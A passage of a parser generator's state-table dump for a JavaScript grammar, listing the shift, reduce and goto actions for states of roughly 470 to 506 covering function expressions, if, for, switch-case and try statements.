- ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 494 - SourceElements go to state 468 - -state 470 - - 292) FormalParameterList : FormalParameterList "," IDENT _ - - $default reduce using rule 292 (FormalParameterList) - - -state 471 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 495 - SourceElements go to state 468 - -state 472 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 496 - - -state 473 - - 242) IfStatement : IF "(" Expr ")" Statement ELSE _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 497 - -state 474 - - 243) IterationStatement : DO Statement WHILE "(" Expr ")" _ ";" - 244) IterationStatement : DO Statement WHILE "(" Expr ")" _ error - - error shift, and go to state 499 - ";" shift, and go to state 498 - - -state 475 - - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 500 - -state 476 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - AssignmentExprNoIn go to state 501 - ConditionalExprNoIn go to state 312 - -state 477 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" _ ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 502 - -state 478 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," VariableDeclarationNoIn _ - - $default reduce using rule 225 (VariableDeclarationListNoIn) - - -state 479 - - 228) VariableDeclarationNoIn : IDENT _ - 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn - - "=" shift, and go to state 456 - $default reduce using rule 228 (VariableDeclarationNoIn) - - InitializerNoIn go to state 503 - -state 480 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt _ ";" ExprOpt ")" Statement - - ";" shift, and go to state 504 - - -state 481 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 505 - -state 482 - - 237) InitializerNoIn : "=" AssignmentExprNoIn _ - - $default reduce using rule 237 (InitializerNoIn) - - -state 483 - - 214) Expr : Expr _ "," AssignmentExpr - 249) IterationStatement : FOR "(" VAR IDENT IN Expr _ ")" Statement - - ")" shift, and go to state 506 - "," shift, and go to state 213 - - -state 484 - - 269) CaseBlock : "{" CaseClausesOpt _ "}" - 270) CaseBlock : "{" CaseClausesOpt _ DefaultClause CaseClausesOpt "}" - - DEFAULT shift, and go to state 509 - "}" shift, and go to state 507 - - DefaultClause go to state 508 - -state 485 - - 272) CaseClausesOpt : CaseClauses _ - 274) CaseClauses : CaseClauses _ CaseClause - - CASE shift, and go to state 487 - $default reduce using rule 272 (CaseClausesOpt) - - CaseClause go to state 510 - -state 486 - - 273) CaseClauses : CaseClause _ - - $default reduce using rule 273 (CaseClauses) - - -state 487 - - 275) CaseClause : CASE _ Expr ":" SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 511 - -state 488 - - 281) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block - 282) TryStatement : TRY Block CATCH "(" IDENT ")" _ Block FINALLY Block - - "{" shift, and go to state 65 - - Block go to state 512 - -state 489 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 513 - - -state 490 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 514 - SourceElements go to state 468 - -state 491 - - 32) Property : IDENT IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - FunctionBody go to state 515 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 468 - -state 492 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 516 - - -state 493 - - 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 287 (FunctionExpr) - - -state 494 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 517 - - -state 495 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 518 - - -state 496 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 519 - SourceElements go to state 468 - -state 497 - - 242) IfStatement : IF "(" Expr ")" Statement ELSE Statement _ - - $default reduce using rule 242 (IfStatement) - - -state 498 - - 243) IterationStatement : DO Statement WHILE "(" Expr ")" ";" _ - - $default reduce using rule 243 (IterationStatement) - - -state 499 - - 244) IterationStatement : DO Statement WHILE "(" Expr ")" error _ - - $default reduce using rule 244 (IterationStatement) - - -state 500 - - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" Statement _ - - $default reduce using rule 248 (IterationStatement) - - -state 501 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn _ - - $default reduce using rule 192 (ConditionalExprNoIn) - - -state 502 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt _ ")" Statement - - ")" shift, and go to state 520 - - -state 503 - - 229) VariableDeclarationNoIn : IDENT InitializerNoIn _ - - $default reduce using rule 229 (VariableDeclarationNoIn) - - -state 504 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" _ ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 521 - -state 505 - - 214) Expr : Expr _ "," AssignmentExpr - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr _ ")" Statement - - ")" shift, and go to state 522 - "," shift, and go to state 213 - - -state 506 - - 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to 